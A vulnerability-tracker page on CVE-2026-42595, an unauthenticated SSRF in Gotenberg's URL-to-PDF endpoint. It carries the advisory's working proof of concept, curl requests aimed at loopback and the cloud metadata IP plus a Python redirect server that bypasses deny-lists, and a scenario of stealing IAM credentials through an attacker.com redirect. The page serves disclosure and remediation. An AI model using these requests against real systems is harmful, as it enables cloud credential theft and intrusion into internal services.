Skip to main content

Gotenberg CVE-2026-42595

| EUVDEUVD-2026-30318 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-11 https://github.com/gotenberg/gotenberg GHSA-chwh-f6gm-r836
8.6
CVSS 3.1 · Vendor: https://github.com/gotenberg/gotenberg
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Network access to Gotenberg API
  2. Delivery
    Craft POST to /forms/chromium/convert/url
  3. Exploit
    Submit internal target URL (or redirect to internal target)
  4. Install
    Chromium fetches metadata/internal service
  5. C2
    Receive credentials/data rendered as PDF
  6. Execute
    Extract secrets from PDF
  7. Impact
    Authenticate to cloud APIs
  8. Step 8
    Lateral movement across infrastructure

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions - remote unauthenticated exploitation against default configurations of Gotenberg. The API requires no authentication by default and the vulnerable /forms/chromium/convert/url endpoint is enabled in standard Docker deployments. The only prerequisite is network reachability to the Gotenberg service and the ability to send HTTP POST requests. Exploitation is NOT limited to specific deployment modes: both the missing deny-list (Finding 1) and redirect bypass (Finding 2) affect all default installations. Attack complexity is low (AC:L in CVSS) as exploitation requires only basic HTTP client capabilities and no timing or race conditions. The redirect bypass works against any custom deny-list configuration operators may have deployed, making defensive measures ineffective without the patch. Maximum impact occurs in cloud environments (AWS, GCP, Azure) where metadata endpoints are accessible from the Gotenberg container, but internal network scanning and service access succeed in any deployment with RFC 1918 connectivity.

Impact

CVSS 8.6 (High) with network attack vector, low complexity, no privileges required, and changed scope reflects the technical severity, but real-world risk is extreme for cloud deployments. The SSRF enables immediate cloud credential theft via metadata endpoints (169.254.169.254) in AWS, GCP, and Azure environments where Gotenberg is typically deployed as an internal service with broad network access. Publicly available exploit code exists in the GitHub advisory with working PoC commands demonstrating metadata endpoint access and redirect bypass. The attack requires zero authentication against Gotenberg's default configuration, making this exploitable by any entity with network visibility to the service. While no CISA KEV listing exists at time of analysis, the combination of unauthenticated remote exploitation, public PoC, and high-value targets (cloud IAM credentials) creates urgent risk. The changed scope (S:C) in CVSS correctly captures that compromised cloud credentials extend impact beyond the Gotenberg container to broader infrastructure. Organizations running Gotenberg in cloud environments should treat this as a critical priority regardless of base score, as credential exfiltration enables lateral movement and privilege escalation across cloud resources.

Exploit ScenarioDerived

An external attacker identifies a Gotenberg instance exposed on a corporate network perimeter or accessible via compromised web application that integrates Gotenberg for PDF generation. Using the publicly available PoC from the GitHub advisory, the attacker sends a POST request to the unauthenticated /forms/chromium/convert/url endpoint with url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ targeting the AWS metadata service. Gotenberg's headless Chromium fetches the IAM role credentials and returns them rendered as a PDF. The attacker extracts AWS access keys, secret keys, and session tokens from the PDF, then uses them to authenticate to AWS APIs, enumerate S3 buckets, RDS databases, and EC2 instances, and exfiltrate sensitive data or deploy cryptocurrency miners. In scenarios where administrators have configured custom deny-lists, the attacker hosts a redirect server at attacker.com/redir that returns HTTP 302 to the metadata endpoint, bypassing validation entirely.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Server-side request forgery in Gotenberg's Chromium URL-to-PDF endpoint allows unauthenticated remote attackers to exfiltrate cloud credentials and access internal services. The primary /forms/chromium/convert/url endpoint ships with no default deny-list for HTTP/HTTPS targets - only blocking file:// URIs - enabling direct access to AWS/GCP/Azure metadata endpoints at 169.254.169.254, RFC 1918 private networks, and localhost services. Even when administrators configure custom deny-lists, attackers bypass validation via HTTP 302 redirects, as Chromium follows redirects without re-validating destinations. Vendor-confirmed public exploit code exists (PoC in GHSA-chwh-f6gm-r836). Patch available in version 8.32.0.

RemediationAI

Upgrade to Gotenberg version 8.32.0 or later, which addresses both the missing HTTP/HTTPS deny-list on the Chromium endpoint and the redirect bypass vulnerability across all endpoints. The fix is available via the official GitHub release and Docker Hub image gotenberg/gotenberg:8.32.0. Organizations unable to upgrade immediately should implement network-level controls: deploy Gotenberg in an isolated network segment with explicit egress firewall rules denying access to RFC 1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback (127.0.0.0/8), link-local addresses (169.254.0.0/16), and cloud metadata endpoints (169.254.169.254/32 for AWS/Azure, 169.254.169.254/32 and metadata.google.internal for GCP). Note that application-layer deny-lists in Gotenberg configuration are insufficient due to the redirect bypass - network enforcement is required. If Gotenberg must access external URLs, implement an egress proxy with strict allow-listing rather than deny-listing, and disable redirect following at the proxy layer. For containerized deployments, use Kubernetes NetworkPolicy or Docker network isolation to restrict outbound connectivity to only required external services. Trade-off: network restrictions may break legitimate use cases requiring internal URL rendering; test thoroughly in staging environments. Vendor advisory with full technical details: https://github.com/gotenberg/gotenberg/security/advisories/GHSA-chwh-f6gm-r836.

Affected VersionsENISA

gotenberg < 8.32.0

Affected Packages

go github.com/gotenberg/gotenberg/v7 no fix
go github.com/gotenberg/gotenberg/v8 fix: 8.32.0
euvd gotenberg fix: 8.32.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gotenberg is a Docker-powered API for converting HTML/URL content to PDF using headless Chromium and LibreOffice, developed in Go. The SSRF vulnerability (CWE-918) stems from inadequate URL validation in the Chromium module's URL conversion handler. The default deny-list regex (^file:(?!//\/tmp/).*) in pkg/modules/chromium/chromium.go only restricts file:// protocol access outside /tmp/, leaving HTTP/HTTPS schemes completely unfiltered. The underlying Go http.Client and Chromium browser both follow HTTP redirects (up to 10 hops in Go's default behavior) without invoking deny-list re-validation on redirect destinations. This creates a time-of-check-time-of-use (TOCTOU) gap where initial URL validation is bypassed post-redirect. Notably, Gotenberg's secondary endpoints (downloadFrom, webhook) implement RFC 1918 and link-local deny-lists, indicating the developers understood SSRF risks but failed to apply equivalent controls to the primary URL-to-PDF conversion feature. The vulnerable package is github.com/gotenberg/gotenberg/v8 versions below 8.32.0.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gotenberg/gotenberg) PRIMARY 8.6 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
SUSE HIGH

Primary rating from Vendor (https://github.com/gotenberg/gotenberg).

CVSS VectorVendor: https://github.com/gotenberg/gotenberg

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

A review of 4 published Gotenberg security advisories exposed an SSRF issue. GHSA-pjrr-jgp4-v2fm covers SSRF via the downloadFrom endpoint. GHSA-pcrp-7g9h-7qhp covers SSRF via the webhook endpoint. Neither advisory addresses SSRF through the primary Chromium URL-to-PDF conversion endpoint (/forms/chromium/convert/url), which has no default deny-list for HTTP/HTTPS targets. The redirect-based deny-list bypass described here also applies to downloadFrom and webhook but is a separate finding from the initial request validation those advisories cover.

Summary

Gotenberg's Chromium URL-to-PDF endpoint (/forms/chromium/convert/url) has no default protection against HTTP/HTTPS-based SSRF. The default deny-list regex only blocks file:// URIs. An unauthenticated attacker can point Chromium at any internal IP - including loopback, RFC 1918 ranges, and cloud metadata endpoints - and receive the response rendered as a PDF.

Additionally, even when operators configure a custom deny-list, the protection is bypassed via HTTP redirects. Gotenberg's Chromium instance follows 302 redirects from an attacker-controlled external URL to internal targets without re-validating the redirect destination against the deny-list.

What makes this particularly notable is that Gotenberg's secondary features - downloadFrom and webhook - ship with default deny-lists that explicitly block RFC 1918 and link-local addresses. The primary feature, the one that literally takes a URL and fetches it server-side, does not.

Details

Finding 1: Zero default SSRF protection on Chromium URL endpoint

The Chromium URL endpoint is the core feature of Gotenberg. It accepts a URL, tells headless Chromium to fetch it, and returns the rendered page as a PDF. The default deny-list is configured in pkg/modules/chromium/chromium.go and the value shipped in Docker is:

^file:(?!//\/tmp/).*

This regex only blocks file:// URIs outside of /tmp/. HTTP and HTTPS requests to any host - including 127.0.0.1, 10.x.x.x, 192.168.x.x, and 169.254.169.254 - are not filtered at all.

Meanwhile, the downloadFrom and webhook endpoints use deny-lists that explicitly block loopback, RFC 1918, and cloud metadata IPs. The developer clearly understood the SSRF risk but the protection was not applied to the main Chromium conversion endpoint.

Finding 2: Redirect-based SSRF bypass on all endpoints

Both downloadFrom and webhook use Go's default http.Client{} with no CheckRedirect function. Go follows up to 10 redirects automatically. The deny-list is a pre-flight check on the initial URL only. Once the request is in flight, redirects are followed transparently and the application never re-validates the destination.

The Chromium browser similarly follows redirects without restriction. Even if an operator configures a custom deny-list on the Chromium URL endpoint, an attacker hosts a redirect server that passes initial validation and then redirects Chromium to an internal target.

PoC

Tested on Docker using gotenberg/gotenberg:8 (v8.30.1) on localhost:3000. No authentication is required on any endpoint.

Environment:

$ curl http://localhost:3000/version
8.30.1

$ curl http://localhost:3000/health
{"status":"up","details":{"chromium":{"status":"up"},"libreoffice":{"status":"up"}}}

1. Control - external URL works as expected:

$ curl -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://example.com' \
    -o test.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 200, Size: 14961 bytes
$ file test.pdf
test.pdf: PDF document, version 1.4, 1 page(s)

2. Control - file:// protocol is correctly blocked by default deny-list:

$ curl -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=file:///etc/passwd' \
    -w "HTTP %{http_code}"

HTTP 403
Body: Forbidden

3. SSRF to localhost - NOT blocked:

$ curl -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://127.0.0.1:3000/health' \
    -o ssrf.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 200, Size: 10196 bytes

Chromium fetched its own /health endpoint and rendered the response as a PDF. The request succeeded because the default deny-list does not cover HTTP to loopback.

4. Cloud metadata IP - NOT blocked:

$ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://169.254.169.254/latest/meta-data/' \
    -o meta.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 000, Size: 0 bytes (timeout - no metadata service in Docker, but request was NOT blocked)

The request timed out because there is no metadata service running in the Docker test environment. The critical observation is that Gotenberg did not block or reject the request. In a cloud deployment (AWS, GCP, Azure), this would return IAM credentials rendered as a PDF.

5. Redirect-based bypass - Chromium follows 302 to internal target:

Redirect server on the host (port 9999):

python
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://127.0.0.1:3000/health')
        self.end_headers()
    def do_HEAD(self):
        self.do_GET()

HTTPServer(('0.0.0.0', 9999), RedirectHandler).serve_forever()
$ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://172.17.0.1:9999/' \
    -o redir.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 200, Size: 10244 bytes
$ file redir.pdf
redir.pdf: PDF document, version 1.4, 1 page(s)

Chromium followed the 302 redirect from http://172.17.0.1:9999/ (external, passes any deny-list) to http://127.0.0.1:3000/health (internal). The internal response was rendered as a PDF and returned to the caller. No validation occurred on the redirect destination.

The Chromium endpoint accepted all HTTP/HTTPS URLs including loopback and cloud metadata addresses. Only file:// URIs were blocked by the default deny-list. The redirect from an external server to 127.0.0.1 was also followed without any check on the redirect target.

Impact

Any user who can reach the Gotenberg API - which requires no authentication by default - can make the server fetch arbitrary internal resources and receive the rendered content as a PDF. Gotenberg is typically deployed as a backend service in infrastructure that has broad internal network access.

Practical attack scenarios:

  • Cloud credential theft: Request http://169.254.169.254/latest/meta-data/iam/security-credentials/ to exfiltrate AWS IAM role credentials. The same applies to GCP and Azure metadata endpoints.
  • Internal service access: Reach any HTTP service on the internal network that the Gotenberg container can route to - admin panels, databases with HTTP interfaces, monitoring dashboards.
  • Internal port scanning: Use response timing and content differences to map internal infrastructure.
  • Deny-list bypass via redirect: Even deployments that have configured custom deny-lists for the initial URL are vulnerable. An attacker hosts a redirect server at https://attacker.com/r that responds with 302 → http://169.254.169.254/latest/meta-data/. The deny-list validates the initial URL, Chromium follows the redirect, and the cloud metadata is returned as a PDF.

The redirect bypass also affects the downloadFrom and webhook endpoints, which use Go's http.Client{} with no CheckRedirect function. Their RFC 1918 deny-lists are rendered ineffective by a single redirect hop.

---

Executive ViewAI

Why It Matters

Gotenberg versions prior to 8.32.0 contain an unauthenticated server-side request forgery (SSRF) vulnerability in the PDF conversion endpoint that allows attackers to exfiltrate cloud credentials and access internal services without authentication. Organizations using Gotenberg for URL-to-PDF conversion face immediate risk of credential compromise and unauthorized access to internal infrastructure, including cloud metadata endpoints and private networks.

Business Impact: Severe
Compensating Controls

If immediate patching is not feasible: (1) Implement network-level firewall rules blocking Gotenberg's outbound access to 169.254.169.254, RFC 1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), and localhost; (2) Restrict Gotenberg to a dedicated network segment with explicit allow-lists for permitted external domains only; (3) Disable the /forms/chromium/convert/url endpoint entirely if not business-critical; (4) Rotate all cloud credentials (AWS keys, GCP service accounts, Azure managed identities) with potential exposure. Apply vendor patch (Gotenberg 8.32.0+) within 30 days as permanent remediation.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Partial

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy